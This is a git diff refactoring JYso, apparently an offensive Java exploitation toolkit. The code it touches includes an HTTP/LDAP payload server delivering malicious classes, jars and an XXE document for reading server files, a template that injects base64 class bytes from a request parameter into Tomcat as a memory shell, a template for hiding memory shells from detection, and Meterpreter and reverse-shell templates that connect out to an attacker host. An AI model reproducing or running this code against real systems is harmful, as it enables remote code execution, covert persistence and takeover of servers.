diff --git a/README.md b/README.md index b1adc07..6fc99e2 100644 --- a/README.md +++ b/README.md @@ -1,5 +1,5 @@ -

- 100 +

+

JYso

diff --git a/src/main/java/com/qi4l/JYso/HTTPServer.java b/src/main/java/com/qi4l/JYso/HTTPServer.java index cbe824c..b035bdd 100644 --- a/src/main/java/com/qi4l/JYso/HTTPServer.java +++ b/src/main/java/com/qi4l/JYso/HTTPServer.java @@ -5,18 +5,19 @@ import com.qi4l.JYso.gadgets.Config.Config; import com.qi4l.JYso.gadgets.utils.Utils; import com.qi4l.JYso.template.ReverseShellTemplate; import com.sun.net.httpserver.HttpExchange; -import com.sun.net.httpserver.HttpHandler; import com.sun.net.httpserver.HttpServer; import javassist.ClassPool; import javassist.CtClass; import org.apache.commons.lang3.reflect.FieldUtils; +import org.apache.logging.log4j.LogManager; +import org.apache.logging.log4j.Logger; import java.io.ByteArrayOutputStream; import java.io.File; -import java.io.FileInputStream; import java.io.IOException; import java.net.InetSocketAddress; import java.nio.charset.StandardCharsets; +import java.nio.file.Files; import java.util.HashMap; import java.util.Map; import java.util.jar.JarOutputStream; @@ -24,55 +25,54 @@ import java.util.zip.ZipEntry; import static org.fusesource.jansi.Ansi.ansi; +@SuppressWarnings("HttpUrlsUsage") public class HTTPServer { - //获取根目录路径 + private static final Logger log = LogManager.getLogger(HTTPServer.class); + // 获取根目录路径 public static String cwd = System.getProperty("user.dir"); public static void start() throws IOException { HttpServer httpServer = HttpServer.create(new InetSocketAddress(Config.httpPort), 0); - httpServer.createContext("/", new HttpHandler() { - @Override - public void handle(HttpExchange httpExchange) { - try { - System.out.println(ansi().render("@|green [+]|@ New HTTP Request From >>" + httpExchange.getRemoteAddress() + " " + httpExchange.getRequestURI())); + httpServer.createContext("/", httpExchange -> { + try { + System.out.println(ansi().render("@|green [+]|@ New HTTP Request From >>" + httpExchange.getRemoteAddress() + " " + httpExchange.getRequestURI())); - String qi = String.valueOf(httpExchange.getRequestURI()); + String qi = String.valueOf(httpExchange.getRequestURI()); - if (qi.contains("setPathAlias")) { - Config.BCEL1 = qi.substring(qi.indexOf("=") + 1); - System.out.println(ansi().render("@|green [+]|@ 获取参数成功 >> " + Config.BCEL1)); - } else if (qi.contains("setRoute")) { - Config.ROUTE = qi.substring(qi.indexOf("=") + 1); - System.out.println(ansi().render("@|green [+]|@ 获取路由成功 >> " + Config.ROUTE)); - } - - String path = httpExchange.getRequestURI().getPath(); - if (path.endsWith(".class")) { - handleClassRequest(httpExchange); - } else if (path.endsWith(".wsdl")) { - handleWSDLRequest(httpExchange); - } else if (path.endsWith(".jar")) { - handleJarRequest(httpExchange); - } else if (path.startsWith("/xxelog")) { - handleXXELogRequest(httpExchange); - } else if (path.endsWith(".sql")) { - handleSQLRequest(httpExchange); - } else if (path.endsWith(".groovy")) { - handlerGroovyRequest(httpExchange); - } else if (path.endsWith(".xml")) { - handleXMLRequest(httpExchange); - } else if (path.endsWith(".txt")) { - handleTXTRequest(httpExchange); - } else if (path.endsWith(".yml")) { - handleYmlRequest(httpExchange); - } else { - handleFileRequest(httpExchange); - } - } catch (Exception e) { - e.printStackTrace(); + if (qi.contains("setPathAlias")) { + Config.BCEL1 = qi.substring(qi.indexOf("=") + 1); + System.out.println(ansi().render("@|green [+]|@ 获取参数成功 >> " + Config.BCEL1)); + } else if (qi.contains("setRoute")) { + Config.ROUTE = qi.substring(qi.indexOf("=") + 1); + System.out.println(ansi().render("@|green [+]|@ 获取路由成功 >> " + Config.ROUTE)); } + + String path = httpExchange.getRequestURI().getPath(); + if (path.endsWith(".class")) { + handleClassRequest(httpExchange); + } else if (path.endsWith(".wsdl")) { + handleWSDLRequest(httpExchange); + } else if (path.endsWith(".jar")) { + handleJarRequest(httpExchange); + } else if (path.startsWith("/xxelog")) { + handleXXELogRequest(httpExchange); + } else if (path.endsWith(".sql")) { + handleSQLRequest(httpExchange); + } else if (path.endsWith(".groovy")) { + handlerGroovyRequest(httpExchange); + } else if (path.endsWith(".xml")) { + handleXMLRequest(httpExchange); + } else if (path.endsWith(".txt")) { + handleTXTRequest(httpExchange); + } else if (path.endsWith(".yml")) { + handleYmlRequest(httpExchange); + } else { + handleFileRequest(httpExchange); + } + } catch (Exception e) { + log.error("e: ", e); } }); @@ -86,16 +86,7 @@ public class HTTPServer { String path = exchange.getRequestURI().getPath(); String filename = cwd + File.separator + "data" + File.separator + path.substring(path.lastIndexOf("/") + 1); File file = new File(filename); - if (file.exists()) { - byte[] bytes = new byte[(int) file.length()]; - FileInputStream fileInputStream = new FileInputStream(file); - fileInputStream.read(bytes); - exchange.sendResponseHeaders(200, file.length() + 1); - exchange.getResponseBody().write(bytes); - } else { - System.out.println(ansi().render("@|red [!] Response Code: |@" + 404)); - exchange.sendResponseHeaders(404, 0); - } + serveFileContent(exchange, file, null, null); exchange.close(); } @@ -120,18 +111,7 @@ public class HTTPServer { } else { String pa = cwd + File.separator + "data"; File file = new File(pa + File.separator + YamlName + ".yml"); - if (file.exists()) { - byte[] bytes1 = new byte[(int) file.length()]; - try (FileInputStream fileInputStream = new FileInputStream(file)) { - fileInputStream.read(bytes1); - } - exchange.getResponseHeaders().set("Content-type", "application/octet-stream"); - exchange.sendResponseHeaders(200, file.length() + 1); - exchange.getResponseBody().write(bytes1); - } else { - System.out.println(ansi().render("@|red [!] Response Code: |@" + 404)); - exchange.sendResponseHeaders(404, 0); - } + serveFileContent(exchange, file, "Content-type", "application/octet-stream"); } exchange.close(); @@ -150,19 +130,7 @@ public class HTTPServer { String pa = cwd + File.separator + "data"; File file = new File(pa + File.separator + txtname + ".txt"); - if (file.exists()) { - - byte[] bytes1 = new byte[(int) file.length()]; - try (FileInputStream fileInputStream = new FileInputStream(file)) { - fileInputStream.read(bytes1); - } - exchange.getResponseHeaders().set("Content-type", "application/octet-stream"); - exchange.sendResponseHeaders(200, file.length() + 1); - exchange.getResponseBody().write(bytes1); - } else { - System.out.println(ansi().render("@|red [!] Response Code: @|" + 404)); - exchange.sendResponseHeaders(404, 0); - } + serveFileContent(exchange, file, "Content-type", "application/octet-stream"); } exchange.close(); } @@ -283,19 +251,7 @@ public class HTTPServer { String pa = cwd + File.separator + "data"; File file = new File(pa + File.separator + xmlName + ".xml"); - if (file.exists()) { - byte[] bytes1 = new byte[(int) file.length()]; - try (FileInputStream fileInputStream = new FileInputStream(file)) { - fileInputStream.read(bytes1); - } - exchange.getResponseHeaders().add("Content-Type", "application/xml; charset=utf-8"); -// exchange.getResponseHeaders().set("Content-type","application/octet-stream"); - exchange.sendResponseHeaders(200, file.length() + 1); - exchange.getResponseBody().write(bytes1); - } else { - System.out.println(ansi().render("@|red [!] Response Code: |@" + 404)); - exchange.sendResponseHeaders(404, 0); - } + serveFileContent(exchange, file, "Content-Type", "application/xml; charset=utf-8"); } exchange.close(); @@ -331,18 +287,7 @@ public class HTTPServer { String pa = cwd + File.separator + "data"; File file = new File(pa + File.separator + sqlName + ".sql"); - if (file.exists()) { - byte[] bytes = new byte[(int) file.length()]; - try (FileInputStream fileInputStream = new FileInputStream(file)) { - fileInputStream.read(bytes); - } -// exchange.getResponseHeaders().set("Content-type","application/octet-stream"); - exchange.sendResponseHeaders(200, file.length() + 1); - exchange.getResponseBody().write(bytes); - } else { - System.out.println(ansi().render("@|red [!] Response Code: |@" + 404)); - exchange.sendResponseHeaders(404, 0); - } + serveFileContent(exchange, file, null, null); } exchange.close(); } @@ -371,18 +316,7 @@ public class HTTPServer { String pa = cwd + File.separator + "data"; File file = new File(pa + File.separator + groovyName + ".groovy"); - if (file.exists()) { - byte[] bytes = new byte[(int) file.length()]; - try (FileInputStream fileInputStream = new FileInputStream(file)) { - fileInputStream.read(bytes); - } -// exchange.getResponseHeaders().set("Content-type","application/octet-stream"); - exchange.sendResponseHeaders(200, file.length() + 1); - exchange.getResponseBody().write(bytes); - } else { - System.out.println(ansi().render("@|red [!] Response Code: |@" + 404)); - exchange.sendResponseHeaders(404, 0); - } + serveFileContent(exchange, file, null, null); } exchange.close(); @@ -440,10 +374,7 @@ public class HTTPServer { File file = new File(pa); if (file.exists()) { - byte[] bytes = new byte[(int) file.length()]; - try (FileInputStream fileInputStream = new FileInputStream(file)) { - fileInputStream.read(bytes); - } + byte[] bytes = Files.readAllBytes(file.toPath()); exchange.getResponseHeaders().set("Content-type", "application/octet-stream"); exchange.sendResponseHeaders(200, file.length()); exchange.getResponseBody().write(bytes); @@ -465,18 +396,18 @@ public class HTTPServer { String path = exchange.getRequestURI().getPath().substring(1); if (path.startsWith("list")) { - //intended to list directories or read files on server + // intended to list directories or read files on server String file = params.get("file"); if (file != null && !file.isEmpty()) { - String listWsdl = "" + + String listWsdl = "\n" + - " \n" + - " %bbb;\n" + - "]>\n" + - "\n" + - " &ddd;\n" + - ""; + " \n" + + " \n" + + " %bbb;\n" + + "]>\n" + + "\n" + + " &ddd;\n" + + ""; System.out.println(ansi().render("@|green [+] Response Code: |@" + 200)); exchange.sendResponseHeaders(200, listWsdl.getBytes().length); @@ -528,6 +459,20 @@ public class HTTPServer { } } + private static void serveFileContent(HttpExchange exchange, File file, String headerKey, String headerValue) throws IOException { + if (file.exists()) { + byte[] bytes = Files.readAllBytes(file.toPath()); + if (headerKey != null) { + exchange.getResponseHeaders().set(headerKey, headerValue); + } + exchange.sendResponseHeaders(200, file.length() + 1); + exchange.getResponseBody().write(bytes); + } else { + System.out.println(ansi().render("@|red [!] Response Code: |@" + 404)); + exchange.sendResponseHeaders(404, 0); + } + } + private static Map parseQuery(String query) { Map params = new HashMap<>(); @@ -537,11 +482,11 @@ public class HTTPServer { String[] parts = str.split("=", 2); params.put(parts[0], parts[1]); } catch (Exception e) { - //continue + // continue } } } catch (Exception e) { - //continue + // continue } return params; diff --git a/src/main/java/com/qi4l/JYso/LdapServer.java b/src/main/java/com/qi4l/JYso/LdapServer.java index d58d53e..e9a8873 100644 --- a/src/main/java/com/qi4l/JYso/LdapServer.java +++ b/src/main/java/com/qi4l/JYso/LdapServer.java @@ -9,6 +9,8 @@ import com.unboundid.ldap.listener.InMemoryDirectoryServerConfig; import com.unboundid.ldap.listener.InMemoryListenerConfig; import com.unboundid.ldap.listener.interceptor.InMemoryInterceptedSearchResult; import com.unboundid.ldap.listener.interceptor.InMemoryOperationInterceptor; +import org.apache.logging.log4j.LogManager; +import org.apache.logging.log4j.Logger; import org.reflections.Reflections; import javax.net.ServerSocketFactory; @@ -26,6 +28,7 @@ import static org.fusesource.jansi.Ansi.ansi; public class LdapServer extends InMemoryOperationInterceptor { + private static final Logger log = LogManager.getLogger(LdapServer.class); public static TreeMap routes = new TreeMap<>(); public LdapServer() throws Exception { @@ -60,7 +63,7 @@ public class LdapServer extends InMemoryOperationInterceptor { SocketFactory.getDefault(), (SSLSocketFactory) SSLSocketFactory.getDefault())); - if (!USER.equals("") || !PASSWD.equals("")) { + if (!USER.isEmpty() || !PASSWD.isEmpty()) { serverConfig.addAdditionalBindCredentials(USER, PASSWD); } @@ -71,14 +74,14 @@ public class LdapServer extends InMemoryOperationInterceptor { ds.startListening(); System.out.println(ansi().render("@|green [+]|@ LDAP Server Start Listening on >> " + Config.ldapPort + "...")); } catch (Exception e) { - e.printStackTrace(); + log.error("e: ", e); } } @Override public void processSearchResult(InMemoryInterceptedSearchResult result) { String base; - if (!ROUTE.equals("")) { + if (!ROUTE.isEmpty()) { base = ROUTE; } else { base = result.getRequest().getBaseDN(); @@ -88,7 +91,7 @@ public class LdapServer extends InMemoryOperationInterceptor { base = base64Decode(base); base = JNDIUtils.decrypt(base, AESkey); } - } catch (Exception AESerr) { + } catch (Exception ignored) { } diff --git a/src/main/java/com/qi4l/JYso/template/ClassLoaderTemplate.java b/src/main/java/com/qi4l/JYso/template/ClassLoaderTemplate.java index 8cc0a2d..61a5bd8 100644 --- a/src/main/java/com/qi4l/JYso/template/ClassLoaderTemplate.java +++ b/src/main/java/com/qi4l/JYso/template/ClassLoaderTemplate.java @@ -31,7 +31,7 @@ public class ClassLoaderTemplate { ClassLoader classLoader = new URLClassLoader(new URL[0], Thread.currentThread().getContextClassLoader()); Method defineClass = classLoader.getClass().getSuperclass().getSuperclass().getDeclaredMethod("defineClass", byte[].class, int.class, int.class); defineClass.setAccessible(true); - Class invoke = (Class) defineClass.invoke(classLoader, bytes, 0, bytes.length); + Class invoke = (Class) defineClass.invoke(classLoader, bytes, 0, bytes.length); invoke.newInstance(); //ClassLoader classLoader = Thread.currentThread().getContextClassLoader(); @@ -63,17 +63,17 @@ public class ClassLoaderTemplate { } public static byte[] base64Decode(String bs) throws Exception { - Class base64; + Class base64; byte[] value = null; try { base64 = Class.forName("java.util.Base64"); - Object decoder = base64.getMethod("getDecoder", new Class[]{}).invoke(null, (Object[]) null); - value = (byte[]) decoder.getClass().getMethod("decode", new Class[]{String.class}).invoke(decoder, new Object[]{bs}); + Object decoder = base64.getMethod("getDecoder").invoke(base64); + value = (byte[]) decoder.getClass().getMethod("decode", String.class).invoke(decoder, bs); } catch (Exception e) { try { base64 = Class.forName("sun.misc.BASE64Decoder"); Object decoder = base64.newInstance(); - value = (byte[]) decoder.getClass().getMethod("decodeBuffer", new Class[]{String.class}).invoke(decoder, new Object[]{bs}); + value = (byte[]) decoder.getClass().getMethod("decodeBuffer", String.class).invoke(decoder, bs); } catch (Exception ignored) { } } diff --git a/src/main/java/com/qi4l/JYso/template/DefineClassFromParameter.java b/src/main/java/com/qi4l/JYso/template/DefineClassFromParameter.java index bbf51ac..02dbf8f 100644 --- a/src/main/java/com/qi4l/JYso/template/DefineClassFromParameter.java +++ b/src/main/java/com/qi4l/JYso/template/DefineClassFromParameter.java @@ -5,6 +5,7 @@ package com.qi4l.JYso.template; * 从 Parameter 默认为 "dc" 中取字符进行 base64 decode,然后进行类加载,参考 ShiroAttack2 * 内存马 class 文件可以自行生成,base64 编码后由 request body 中的 dc 参数传递 */ +@SuppressWarnings("unused") public class DefineClassFromParameter { public static String parameter = "dc"; @@ -16,9 +17,8 @@ public class DefineClassFromParameter { java.lang.reflect.Field f = group.getClass().getDeclaredField("threads"); f.setAccessible(true); Thread[] threads = (Thread[]) f.get(group); - for (int i = 0; i < threads.length; i++) { + for (Thread t : threads) { try { - Thread t = threads[i]; if (t == null) continue; String str = t.getName(); if (str.contains("exec") || !str.contains("http")) continue; @@ -45,20 +45,20 @@ public class DefineClassFromParameter { obj = f.get(obj); f = obj.getClass().getDeclaredField("processors"); f.setAccessible(true); - java.util.List processors = (java.util.List) (f.get(obj)); - for (int j = 0; j < processors.size(); ++j) { - Object processor = processors.get(j); + java.util.List processors = (java.util.List) (f.get(obj)); + for (Object processor : processors) { f = processor.getClass().getDeclaredField("req"); f.setAccessible(true); Object req = f.get(processor); - Object note = req.getClass().getMethod("getNote", new Class[]{Integer.TYPE}).invoke(req, new Object[]{new Integer(1)}); - String payload = (String) note.getClass().getMethod("getParameter", new Class[]{String.class}).invoke(note, new Object[]{parameter}); + Object note = req.getClass().getMethod("getNote", Integer.TYPE).invoke(req, 1); + String payload = (String) note.getClass().getMethod("getParameter", String.class).invoke(note, parameter); if (payload != null && !payload.isEmpty()) { byte[] classBytes = base64Decode(payload); + if (classBytes == null) continue; java.lang.reflect.Method method = ClassLoader.class.getDeclaredMethod("defineClass", byte[].class, Integer.TYPE, Integer.TYPE); method.setAccessible(true); - Class clazz = (Class) method.invoke(DefineClassFromParameter.class.getClassLoader(), classBytes, new Integer(0), new Integer(classBytes.length)); + Class clazz = (Class) method.invoke(DefineClassFromParameter.class.getClassLoader(), classBytes, 0, classBytes.length); clazz.newInstance(); } @@ -74,21 +74,10 @@ public class DefineClassFromParameter { } public static byte[] base64Decode(String bs) { - Class base64; - byte[] value = null; try { - base64 = Class.forName("java.util.Base64"); - Object decoder = base64.getMethod("getDecoder", new Class[]{}).invoke(null, (Object[]) null); - value = (byte[]) decoder.getClass().getMethod("decode", new Class[]{String.class}).invoke(decoder, new Object[]{bs}); + return ClassLoaderTemplate.base64Decode(bs); } catch (Exception e) { - try { - base64 = Class.forName("sun.misc.BASE64Decoder"); - Object decoder = base64.newInstance(); - value = (byte[]) decoder.getClass().getMethod("decodeBuffer", new Class[]{String.class}).invoke(decoder, new Object[]{bs}); - } catch (Exception ignored) { - } + return null; } - - return value; } } diff --git a/src/main/java/com/qi4l/JYso/template/HideMemShellTemplate.java b/src/main/java/com/qi4l/JYso/template/HideMemShellTemplate.java index 7c6bc54..ca5e767 100644 --- a/src/main/java/com/qi4l/JYso/template/HideMemShellTemplate.java +++ b/src/main/java/com/qi4l/JYso/template/HideMemShellTemplate.java @@ -10,10 +10,11 @@ import java.io.FileOutputStream; * 使常见的工具无法检测出系统内的内存马 * 由于 classes 文件夹默认不存在,因此需要较高的读写权限 */ +@SuppressWarnings("unused") public class HideMemShellTemplate extends ClassLoader { - static String b64; + static String b64 = ""; - static String className; + static String className = ""; static { try { @@ -45,7 +46,7 @@ public class HideMemShellTemplate extends ClassLoader { File file = new File(javaHome + "/classes/" + className.replace(".", "/") + ".class"); if (!file.getParentFile().exists()) { - file.getParentFile().mkdirs(); + boolean ignored = file.getParentFile().mkdirs(); } FileOutputStream fos = new FileOutputStream(file); @@ -54,22 +55,8 @@ public class HideMemShellTemplate extends ClassLoader { fos.close(); } - public static byte[] base64Decode(String bs) { - Class base64; - byte[] value = null; - try { - base64 = Class.forName("java.util.Base64"); - Object decoder = base64.getMethod("getDecoder", (Class) null).invoke(base64, (Object) null); - value = (byte[]) decoder.getClass().getMethod("decode", new Class[]{String.class}).invoke(decoder, new Object[]{bs}); - } catch (Exception e) { - try { - base64 = Class.forName("sun.misc.BASE64Decoder"); - Object decoder = base64.newInstance(); - value = (byte[]) decoder.getClass().getMethod("decodeBuffer", new Class[]{String.class}).invoke(decoder, new Object[]{bs}); - } catch (Exception ignored) { - } - } - return value; + public static byte[] base64Decode(String bs) throws Exception { + return ClassLoaderTemplate.base64Decode(bs); } diff --git a/src/main/java/com/qi4l/JYso/template/Meterpreter.java b/src/main/java/com/qi4l/JYso/template/Meterpreter.java index cb15aa1..8b09c0a 100644 --- a/src/main/java/com/qi4l/JYso/template/Meterpreter.java +++ b/src/main/java/com/qi4l/JYso/template/Meterpreter.java @@ -11,10 +11,6 @@ import java.util.HashMap; public class Meterpreter extends ClassLoader implements Runnable { - static /* synthetic */ Class class$0; - static /* synthetic */ Class class$1; - static /* synthetic */ Class class$2; - static { Meterpreter meterpreter = new Meterpreter(); @@ -24,7 +20,7 @@ public class Meterpreter public String host; public String port; - private HashMap parameterMap; + private HashMap parameterMap; public static void main(String[] args) { Meterpreter meterpreter = new Meterpreter(); @@ -48,9 +44,13 @@ public class Meterpreter return ""; } + @SuppressWarnings("unchecked") public boolean equals(Object paramObject) { + if (!(paramObject instanceof HashMap)) { + return false; + } try { - this.parameterMap = (HashMap) paramObject; + this.parameterMap = (HashMap) paramObject; this.host = this.get("host"); this.port = this.get("port"); } catch (Exception e) { @@ -60,20 +60,19 @@ public class Meterpreter } public void getShell() throws Exception { - InputStream inputStream1 = null; - OutputStream outputStream = null; - int j = new Integer(this.port); + int j = Integer.parseInt(this.port); String str4 = this.host; - Socket socket = null; - if (str4 != null) { - socket = new Socket(str4, j); + if (str4 == null) { + return; + } + try (Socket socket = new Socket(str4, j)) { + InputStream inputStream1 = socket.getInputStream(); + OutputStream outputStream = socket.getOutputStream(); + new Meterpreter().bootstrap(inputStream1, outputStream); } - inputStream1 = socket.getInputStream(); - outputStream = socket.getOutputStream(); - new Meterpreter().bootstrap(inputStream1, outputStream); } - private final void bootstrap(InputStream paramInputStream, OutputStream paramOutputStream) throws Exception { + private void bootstrap(InputStream paramInputStream, OutputStream paramOutputStream) { try { Class clazz; DataInputStream dataInputStream = new DataInputStream(paramInputStream); @@ -84,53 +83,28 @@ public class Meterpreter clazz = this.defineClass(null, arrayOfByte, 0, i); this.resolveClass(clazz); } while ((i = dataInputStream.readInt()) > 0); - Object object = clazz.newInstance(); - Class[] classArray = new Class[3]; - Class clazz2 = class$0; - if (clazz2 == null) { - try { - clazz2 = class$0 = Class.forName("java.io.DataInputStream"); - } catch (ClassNotFoundException classNotFoundException) { - throw new NoClassDefFoundError(classNotFoundException.getMessage()); - } - } - classArray[0] = clazz2; - Class clazz3 = class$1; - if (clazz3 == null) { - try { - clazz3 = class$1 = Class.forName("java.io.OutputStream"); - } catch (ClassNotFoundException classNotFoundException) { - throw new NoClassDefFoundError(classNotFoundException.getMessage()); - } - } - classArray[1] = clazz3; - Class clazz4 = class$2; - if (clazz4 == null) { - try { - clazz4 = class$2 = Class.forName("[Ljava.lang.String;"); - } catch (ClassNotFoundException classNotFoundException) { - throw new NoClassDefFoundError(classNotFoundException.getMessage()); - } - } - classArray[2] = clazz4; - clazz.getMethod("start", classArray).invoke(object, dataInputStream, paramOutputStream, new String[]{"", ""}); + Object object = clazz.getDeclaredConstructor().newInstance(); + clazz.getMethod("start", DataInputStream.class, OutputStream.class, String[].class) + .invoke(object, dataInputStream, paramOutputStream, new String[]{"", ""}); } catch (Throwable throwable) { // empty catch block } } + @Override + @SuppressWarnings("CallToPrintStackTrace") public void run() { try { this.getShell(); } catch (Exception exception) { - System.out.println(exception); + exception.printStackTrace(); // empty catch block } } public String get(String key) { try { - return new String((byte[]) this.parameterMap.get(key)); + return new String(this.parameterMap.get(key)); } catch (Exception e) { return null; } diff --git a/src/main/java/com/qi4l/JYso/template/ReverseShellTemplate.java b/src/main/java/com/qi4l/JYso/template/ReverseShellTemplate.java index 68b7d43..713bf86 100644 --- a/src/main/java/com/qi4l/JYso/template/ReverseShellTemplate.java +++ b/src/main/java/com/qi4l/JYso/template/ReverseShellTemplate.java @@ -8,12 +8,8 @@ import static org.objectweb.asm.Opcodes.*; public class ReverseShellTemplate implements Template { private String className; private byte[] bytes; - private String ip; - private int port; - - public ReverseShellTemplate(String ip, String port) { - this(ip, Integer.parseInt(port)); - } + private final String ip; + private final int port; public ReverseShellTemplate(String ip, int port) { @@ -46,7 +42,6 @@ public class ReverseShellTemplate implements Template { ClassWriter cw = new ClassWriter(0); FieldVisitor fv; MethodVisitor mv; - AnnotationVisitor av0; cw.visit(V1_6, ACC_PUBLIC + ACC_SUPER, className, null, "com/sun/org/apache/xalan/internal/xsltc/runtime/AbstractTranslet", null);